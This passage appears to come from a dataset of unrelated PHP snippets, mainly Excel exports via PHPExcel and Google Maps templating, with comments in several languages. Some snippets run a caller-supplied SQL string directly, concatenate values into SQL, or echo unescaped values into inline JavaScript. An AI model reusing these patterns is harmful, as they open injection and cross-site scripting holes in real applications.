$plantilla->reemplazaEnBloque(\"base\", \"true\", \"capa\");\n }else{\n \n $plantilla->reemplazaEnBloque(\"base\", \"false\", \"capa\");\n }\n }else{\n $plantilla->iniciaBloque(\"gml\"); \n $plantilla->reemplazaEnBloque(\"i\", $i, \"gml\");\n $plantilla->reemplazaEnBloque(\"nombre\", $nombre, \"gml\");\n $plantilla->reemplazaEnBloque(\"color\", $color[($i%5)], \"gml\");\n $plantilla->reemplazaEnBloque(\"stroke\", $stroke[($i%5)], \"gml\");\n if($capa[base]>0){\n $plantilla->reemplazaEnBloque(\"base\", \"true\", \"gml\");\n }else{ \n $plantilla->reemplazaEnBloque(\"base\", \"false\", \"gml\");\n }\n } \n $i++;\n }\n $capas=\" \";\n\n foreach ($nombres as $nombre){\n $capas .= $nombre.\",\";\n }\n\n\n $capas = substr($capas, 0, -1);\n\n\n $plantilla->reemplaza(\"i\", $i);\n $plantilla->reemplaza(\"nombre\", $nombre);\n $plantilla->reemplaza(\"capas\", $capas);\n $plantilla->reemplaza(\"fid_string\", $fid_string);\n \n }\n \n \n }\n \n if($count==0){\n $plantilla = new DmpTemplate(\"../../../plantillas/stakeholder/mapa/no_mapa.html\");\n }\n \n if($presenta>0){\n $plantilla->presentaPlantilla();\n }else{\n return $plantilla->getPlantillaCadena();\n }\n \n}", "public function f10_excel_listado($st_f10) {\n require_once('../../../librerias/Excel/PHPExcel2.php');\n \n $obCon=new conexion(1);\n $objPHPExcel = new Spreadsheet();\n \n $styleName = [\n \n 'font' => [\n 'bold' => true,\n 'size' => 20\n ]\n ];\n $styleTitle = [\n 'font' => [\n 'bold' => true,\n 'size' => 12\n ]\n ];\n \n $Campos=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\n \"AA\",\"AB\",\"AC\",\"AD\",\"AE\",\"AF\",\"AG\",\"AH\",\"AI\",\"AJ\",\"AK\",\"AL\",\n \"AM\",\"AN\",\"AO\",\"AP\",\"AQ\",\"AR\",\"AS\",\"AT\",\"AU\",\"AV\",\"AW\",\"AX\",\"AY\",\"AZ\",\n \"BA\",\"BB\",\"BC\",\"BD\",\"BE\",\"BF\",\"BG\",\"BH\",\"BI\",\"BJ\",\"BK\",\"BL\",\n \"BM\",\"BN\",\"BO\",\"BP\",\"BQ\",\"BR\",\"BS\",\"BT\",\"BU\",\"BV\",\"BW\",\"BX\",\"BY\",\"BZ\",\n \"CA\",\"CB\",\"CC\",\"CD\",\"CE\",\"CF\",\"CG\",\"CH\",\"CI\",\"CJ\",\"CK\",\"CL\",\n \"CM\",\"CN\",\"CO\",\"CP\",\"CQ\",\"CR\",\"CS\",\"CT\",\"CU\",\"CV\",\"CW\",\"CX\",\"CY\",\"CZ\",\n ];\n \n $nombres_campos=[\"ID\"=>'IDENTIFICADOR',\n\t\t\t\t\"NumeroInterno\"=>'N°',\n\t\t\t\t\"NombreSucursal\"=>'SEDE',\n\t\t\t\t\"NitIPSContratada\"=>'NIT',\n\t\t\t\t\"RazonSocial\"=>'RAZON SOCIAL',\n\t\t\t\t\"Naturaleza\"=>'NATURALEZA',\n\t\t\t\t\"Modalidad\"=>'MODALIDAD',\n\t\t\t\t\"NumeroContrato\"=>'NUMERO DE CONTRATO',\n\t\t\t\t\"llaveCargue\"=>'LLAVE',\n\t\t\t\t\"ValorContrato\"=>'VALOR CONTRATO',\n\t\t\t\t\"FechaInicioContrato\"=>'FECHA INICIO VIGENCIA',\n\t\t\t\t\"FechaFinalContrato\"=>'FECHA FIN VIGENCIA',\n\t\t\t\t\"ValorGlosaxConciliar\"=>'VALOR GLOSAS POR CONCILIAR',\n\t\t\t\t\"FechaConciliacionGlosa\"=>'FECHA CONCILIACION GLOSAS',\n\t\t\t\t\"CumplimientoActaGlosas\"=>'CUMPLIMIENTO DE ACTA DE GLOSA',\n\t\t\t\t\"ResponsableConciliacionGlosa\"=>'RESPONSABLE CONCILIACIÓN GLOSAS',\n\t\t\t\t\"SaldoCuentaXPagar\"=>'SALDO CUENTA POR PAGAR (SEVEN)',\n\t\t\t\t\"FechaConciliacionCartera\"=>'FECHA DE CONCILACIÓN CARTERA',\n\t\t\t\t\"nombre_responsable_conciliacion\"=>'RESPONSABLE CONCILIACIÓN CARTERA',\n\t\t\t\t\"CumplimientoConciliacionCartera\"=>'CUMPLIMIENTO DE CONCILIACIÓN',\n\t\t\t\t\"ObservacionesCartera\"=>'OBSERVACIONES',\n\t\t\t\t\"FechaActaLiquidacion\"=>'FECHA ELABORACIÓN ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NumeroActaLiquidacion\"=>'No. ACTA DE LIQUIDACION',\n\t\t\t\t\"ActaLiquidacionFirmada\"=>'ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"FechaActaLiquidacionFirmada\"=>'FECHA ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"ValorFavorContra\"=>'VALOR A FAVOR (/) O EN CONTRA (+)',\n\t\t\t\t\"RegistroActaLiquidacionSeven\"=>'REGISTRO ACTA DE LIQUIDACIÓN (SEVEN)',\n\t\t\t\t\"AcuerdoPago\"=>'SE REALIZÓ ACUERDO DE PAGO',\n\t\t\t\t\"NumeroCuotasAcuerdo\"=>'No. CUOTAS',\n\t\t\t\t\"ValorTotalAcuerdo\"=>'VALOR TOTAL ACUERDO',\n\t\t\t\t\"ValorCuotaAcuerdo\"=>'VALOR CUOTA',\n\t\t\t\t\"FechaInicioAcuerdo\"=>'FECHA INICIO ACUERDO DE PAGO',\n\t\t\t\t\"FechaFinAcuerdo\"=>'FECHA FIN ACUERDO DE PAGO',\n\t\t\t\t\"ValorSaldoAcuerdo\"=>'VALOR SALDO ACUERDO',\n\t\t\t\t\"ResponsableCargue\"=>'RESPONSABLE AGS O DEPARTAMENTAL CARGUE',\n\t\t\t\t\"TipoOperacionCargue\"=>'TIPO DE OPERACIÓN',\n\t\t\t\t\"NumeroAjusteCargue\"=>'NÚMERO AJUSTE',\n\t\t\t\t\"FechaAjusteCargue\"=>'FECHA',\n\t\t\t\t\"ValorAjusteCargue\"=>'VALOR AJUSTE',\n\t\t\t\t\"SaldoActaLiquidacionCargue\"=>'SALDO ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NotificacionCargue\"=>'NOTIFICACIÓN',\n\t\t\t\t\"FechaNotificacionCargue\"=>'FECHA NOTIFICACIÓN',\n\t\t\t\t\"UsuarioCargue\"=>'USUARIO QUE CARGA',\n\t\t\t\t\"nombre_responsable_liquidacion\"=>'RESPONSABLE AGS 2',\n\t\t\t\t\"nombre_cargo_responsable_liquidacion\"=>'CARGO RESPONSABLE AGS 2',\n\t\t\t\t\"LiderAcargoLiquidacion\"=>'LIDER A CARGO',\n\t\t\t\t\"nombre_responsable_cargue_acta\"=>'RESPONSABLE CARGUE DE ACTA',\n\t\t\t\t\"Pareto\"=>'PARETO',\n\t\t\t\t\"ParetoContraloria\"=>'PARETO CONTRALORIA',\n\t\t\t\t\"Municipio\"=>'MUNICIPIO',\n\t\t\t\t\"NivelComplejidad\"=>'NIVEL COMPLEJIDAD',\n\t\t\t\t\"ObjetoContrato\"=>'OBJETO DEL CONTRATO',\n\t\t\t\t\"AnioFinalizacionContrato\"=>'AÑO FINALIZACIÓN',\n\t\t\t\t\"ObservacionesLiquidacion\"=>'OBSERVACIONES ACTAS DE LIQUIDACIÓN',\n\t\t\t\t\"SaldoInicialSeven\"=>'SALDO INICIAL (SEVEN)',\n\t\t\t\t\"GlosaInicial\"=>'GLOSA INICIAL',\n\t\t\t\t\"GlosaFavor\"=>'GLOSA A FAVOR',\n\t\t\t\t\"GlosaConciliar\"=>'GLOSA POR CONCILIAR',\n\t\t\t\t\"PendienteAuditoria\"=>'PENDIENTE DE AUDITORIA',\n\t\t\t\t\"ValorDevoluciones\"=>'VALOR DEVOLUCIONES',\n\t\t\t\t\"ValorFacturado\"=>'VALOR FACTURADO',\n\t\t\t\t\"ValorPagado\"=>'TOTAL PAGADO',\n\t\t\t\t\"FechaEnvioCruceCartera\"=>'FECHA ENVIO CRUCE DE CARTERA',\n\t\t\t\t\"DiasTranscurridos\"=>'DIAS TRANSCURRIDOS',\n\t\t\t\t\"ConciliadoAsmet\"=>'CONCILIADO POR ASMET',\n\t\t\t\t\"CausaNoLiquidacion\"=>'CAUSA DE NO LIQUIDACION DEL CONTRATO',\n\t\t\t\t\"GestionLiquidacion\"=>'GESTION PARA LA LIQUIDACION',\n\t\t\t\t\"ProcesoNoLiquidacion\"=>'PROCESO DE NO LIQUIDACION INMEDIATA',\n\t\t\t\t\"ObservacionesAdicionales\"=>'OBSERVACIONES',\n\t\t\t\t\"HYL\"=>'HYL',\n\t\t\t\t\"Liquidado31Marzo2018\"=>'LIQUIDADO A 31 DE MARZO 2018',\n\t\t\t\t\"Contrato\"=>'CONTRATO SI/NO',\n\t\t\t\t\"MarcaGerencia\"=>'MARCA JAIR',\n\t\t\t\t\"RecibeCartera\"=>'SE RECIBE CARTERA',\n\t\t\t\t\"FechaRecibeCartera\"=>'FECHA RECIBE CARTERA',\n\t\t\t\t\"RealizaCruceCartera\"=>'SE REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"FechaCruce\"=>'FECHA REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"EnviaOferta\"=>'SE ENVIA OFERTA',\n\t\t\t\t\"FechaEnviaOferta\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"ActaArchivada\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"FechaActualizacionManual\"=>'FECHA ACTUALIZACION MANUAL',\n\t\t\t\t\"usuario_edicion\"=>'USUARIO ACTUALIZA MANUAL',\n\t\t\t\t\"FechaActualizacion\"=>'FECHA ACTUALIZACION AUTOMATICA',\n\t\t\t\t\"nombre_estado\"=>'ESTADO DEL CONTRATO',\n\n\t\t\t\t];\n \n $campos_seleccionados=\"\";\n $z=0;\n $i=1;\n foreach ($nombres_campos as $key => $value) {\n $campos_seleccionados.=\"$key,\";\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z].$i,$value);\n \n $z=$z+1;\n }\n $campos_seleccionados= substr($campos_seleccionados, 0, -1);\n $st_f10= str_replace(\"*\", $campos_seleccionados, $st_f10);\n $z=0;\n $i=2;\n $sql=$st_f10;\n \n $Consulta=$obCon->Query($sql);\n \n while($DatosConsulta=$obCon->FetchAssoc($Consulta)){\n $z=0;\n foreach ($DatosConsulta as $key => $value) {\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z++].$i,$value);\n }\n $i++;\n }\n //Informacion del excel\n $objPHPExcel->\n getProperties()\n ->setCreator(\"www.technosoluciones.com.co\")\n ->setLastModifiedBy(\"www.technosoluciones.com.co\")\n ->setTitle(\"F10\")\n ->setSubject(\"F10\")\n ->setDescription(\"Documento generado por Techno Soluciones SAS\")\n ->setKeywords(\"techno soluciones sas\")\n ->setCategory(\"F10\"); \n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.\"F10\".'.xls\"');\n header('Cache-Control: max-age=0');\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n $objWriter=IOFactory::createWriter($objPHPExcel,'Xlsx');\n $objWriter->save('php://output');\n exit; \n \n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function getmapdata($http){\n\t\t$rsitucneictneionoicn = (string) Controller::curr()->getRequest()->getVar('ervstf');\n\t\t$return_obj = new stdClass();\n\t\t$return_obj->center = new stdClass();\n\t\t$return_obj->locations = array();\n\t\tif ($rsitucneictneionoicn==''){\n\t\t\t$return_obj->defaultZoom = 5;\n\t\t\t#get overview of all systems\n\t\t\t$ABCTEST = (string) Controller::curr()->getRequest()->getVar('errw44tv57by46bw464w67');\n\t\t\t$return_obj->locations = $this->get_multi_locations_per_ABCTEST($ABCTEST);\n\t\t\t$return_obj->center->lat = (float)$return_obj->locations[0]->lat;\n\t\t\t$return_obj->center->lng = (float)$return_obj->locations[0]->lng;\n\t\t}else{\n\t\t\t$return_obj->defaultZoom = 11;\n\t\t\t#get overview of series of system in comma\n\t\t\t$search_comma = strpos($rsitucneictneionoicn, ',');\n\t\t\tif ($search_comma==false){\n\t\t\t\t#single system\n\t\t\t\t$system=DataObject::get_by_id('EXAMPLE_CLASS',$rsitucneictneionoicn);\n\t\t\t\t$location = $this->get_single_location($system);\n\t\t\t\t$return_obj->locations = array($location);\n\t\t\t\t$return_obj->center->lat = (float)$location->lat;\n\t\t\t\t$return_obj->center->lng = (float)$location->lng;\n\t\t\t}else{\n\t\t\t\t#multi system\n\t\t\t\t$myArray = explode(',',$rsitucneictneionoicn);\n\t\t\t\tforeach ($myArray as $key => $value) {\n\t\t\t\t\t$system=DataObject::get_by_id('EXAMPLE_CLASS',$value);\n\t\t\t\t\t$location = $this->get_single_location($system);\n\t\t\t\t\tarray_push($return_obj->locations, $location);\n\t\t\t\t\tif ($key==0){\n\t\t\t\t\t\t$return_obj->center->lat = (float)$location->lat;\n\t\t\t\t\t\t$return_obj->center->lng = (float)$location->lng;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn json_encode($return_obj);\n\t}", "function set_map(){\r\n //setta chiave api nella composizione dell'url\r\n echo \"\r\n <script src=\\\"http://maps.google.com/maps?file=api&v=2&key=\". $this->apikey .\"&sensor=false\\\" type=\\\"text/javascript\\\">\r\n </script>\r\n \";\r\n \r\n //assegna il contenuto alla variabile JScenterMap la quale permette di geolocalizzare un punto sulla mappa tramite indirizzo\r\n \r\n if($this->indirizzo!=\"\"){\r\n \t$JScenterMap = \"\r\n \tvar geocoder = new GClientGeocoder();\r\n \tgeocoder.getLatLng('\".$this->indirizzo.\"',function(point) {\r\n if (!point) {\r\n alert('\".$this->indirizzo.\"' + \\\" not found\\\");\r\n } else {\r\n map.setCenter(point, 13);\r\n var marker = createMarker(point, 'Ciao');\r\n map.addOverlay(marker); \r\n }\r\n });\r\n \t\";\r\n\t } else {\r\n \t\t$JScenterMap = \"map.setCenter(new GLatLng(\".$this->latitudine.\", \".$this->longitudine.\"), 11);\";\r\n /*\r\n $creamarker = \"var marker1 = createMarker(new GLatLng(\".$this->latitudini[$i].\", \".$this->longitudine[$i].\"), '\" .$this->nomi[$i] .\"');\r\n map.addOverlay(marker1);\";*/\r\n \r\n }\r\n \r\n\t \r\n //inizializza il punto sulla mappa in base al contenuto della variabile JScenterMap\r\n //window.onload permette di richiamare il metodo initialize e Gunload (per svuotare la memoria) direttamente da qui senza specificarlo nel body\r\n echo \"\r\n <script type=\\\"text/javascript\\\">\r\n \r\n \t function createMarker(point,html) {\r\n\t\t\t\tvar marker = new GMarker(point);\r\n\t\t\t\tGEvent.addListener(marker, \\\"mouseover\\\", function() { marker.openInfoWindowHtml(html); });\r\n\t\t\t\treturn marker;\r\n\t\t\t }\r\n \r\n \t window.onload = initialize; \r\n window.onunload = GUnload;\r\n function initialize() {\r\n if (GBrowserIsCompatible()) {\r\n var map = new GMap2(document.getElementById(\\\"map_canvas\\\")); \";\r\n echo $JScenterMap; \r\n //CREAZIONE MARKER DINAMICAMENTE\r\n //alert(\\\"ciao\\\" + $i);\r\n for ($i=0;$i<10;$i++){\r\n echo \"\r\n var marker1 = createMarker(new GLatLng(\".$this->latitudini[$i].\", \".$this->longitudini[$i].\"), '\" .$this->nomi[$i] .\"');\r\n \t\t\tmap.addOverlay(marker1); \";\r\n \t\t } \r\n echo \"map.setUIToDefault();\r\n }\r\n }\r\n </script>\r\n \";\r\n\t}", "function do_export_as_xlsx($search_list){\r\n\r\n\t$file_name='office_shipment_export';\r\n\r\n\t//$cell_nos = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S');\r\n\t$cell_captains=array(\r\n\t\t'A'=>'发货单号','B'=>'业务组织','C'=>'发货日期',\r\n\t\t'D'=>'发出省','E'=>'市','F'=>'区',\r\n\t\t'G'=>'到达省','H'=>'市','I'=>'区',\r\n\t\t'J'=>'运单号','K'=>'包裹类型','L'=>'快递方式','M'=>'重量','N'=>'操作人',\r\n\t\t'O'=>'状态','P'=>'备注',\r\n\t\t'Q'=>'姓名','R'=>'操作时间',\r\n\t);\r\n \t\r\n $excel = new PHPExcel();\r\n $excel->getProperties()->setTitle($file_name);\r\n $sheet_no = 1;\r\n\r\n $sheet_no ++;\r\n $sheet = $excel->getActiveSheet();\r\n $sheet->setTitle('sheet1');\r\n foreach ($cell_captains as $key => $value) {\r\n \t$sheet->setCellValue($key.'1',$value);\r\n }\r\n foreach ($search_list as $no => $line) {\r\n \t$i=$no+2;\r\n\r\n \tglobal $db;\r\n \t$sql=\"SELECT p.NAME FROM romeo.party p WHERE p.PARTY_ID='\".$line['party_id'].\"';\";\r\n \t$party_name=$db->getOne($sql);\r\n \t//<!--{if $item.package_type == 1}-->文件<!--{else if $item.package_type == 2}-->包裹<!--{/if}-->\r\n\t\t$sheet->setCellValue(\"A$i\", $line['shipment_id']);\r\n\t\t$sheet->setCellValue(\"B$i\", $party_name);//$line['party_id']\r\n\t\t$sheet->setCellValue(\"C$i\", $line['shipping_date']);\r\n\t\t$sheet->setCellValue(\"D$i\", $line['start_province_name']);\r\n\t\t$sheet->setCellValue(\"E$i\", $line['start_city_name']);\r\n\t\t$sheet->setCellValue(\"F$i\", $line['start_district_name']);\r\n\t\t$sheet->setCellValue(\"G$i\", $line['end_province_name']);\r\n\t\t$sheet->setCellValue(\"H$i\", $line['end_city_name']);\r\n\t\t$sheet->setCellValue(\"I$i\", $line['end_district_name']);\r\n\t\t$sheet->setCellValue(\"J$i\", $line['tracking_number']);\r\n\t\t$sheet->setCellValue(\"K$i\", ($line['package_type']==1?'文件':($line['package_type']==2?'包裹':'未知')));\r\n\t\t$sheet->setCellValue(\"L$i\", $line['shipping_name']);\r\n\t\t$sheet->setCellValue(\"M$i\", $line['weight']);\r\n\t\t$sheet->setCellValue(\"N$i\", $line['action_user']);\r\n\t\t$sheet->setCellValue(\"O$i\", $line['status']);\r\n\t\t$sheet->setCellValue(\"P$i\", $line['note']);\r\n\t\t$sheet->setCellValue(\"Q$i\", $line['name']);\r\n\t\t$sheet->setCellValue(\"R$i\", $line['action_time']);\r\n\t}\r\n\r\n header('Content-Type: application/vnd.ms-excel');\r\n header('Content-Disposition: attachment;filename=\"'.$file_name.'.xls\"');\r\n header('Cache-Control: max-age=0');\r\n $output = PHPExcel_IOFactory::createWriter($excel, 'Excel5');\r\n $output->save('php://output');\r\n exit;\r\n}", "function get_citas_excel_tipos($fechaIni,$fechaFin,$tipos) { \n $this->db->select(\"lugares.nombre_corto as lugar_sede,fecha,citas.hora,\");\n $this->db->select(\"citas.tipoDoc,nro_documento,CONCAT(primer_nombre,'',segundo_nombre) AS nombre,CONCAT(primer_apellido,'',segundo_apellido) AS apellido,fecha_sol,vista,usuini,usult\");\n $this->db->select(\"tipo_consulta,tipo_viejo,observa,estado,telefono,celular,correo,sedes.nombre_sede\");\n $this->db->from(\"citas\");\n $this->db->join('lugares', 'lugares.id_sede = citas.id_sede and lugares.id_lugar_sede = citas.id_area ');\n $this->db->join('sedes', 'sedes.id_sede = citas.id_sede ');\n $this->db->where('fecha >=', $fechaIni);\n $this->db->where('fecha <=', $fechaFin);\n $this->db->where('estado !=', 'E');\n $this->db->where_in('tipo_consulta', $tipos);\n $this->db->order_by(\"lugares.nombre_corto\",\"desc\");\n $this->db->order_by(\"fecha\",\"desc\");\n $this->db->order_by(\"hora\",\"asc\");\n\n $query = $this->db->get();\n return $query->result();\n }", "public function excel()\n {\n Excel::create('Lista de vehiculos', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n\n $vehiculo = Transporte::join('empleados', 'empleados.id', '=', 'transportes.chofer_id')\n 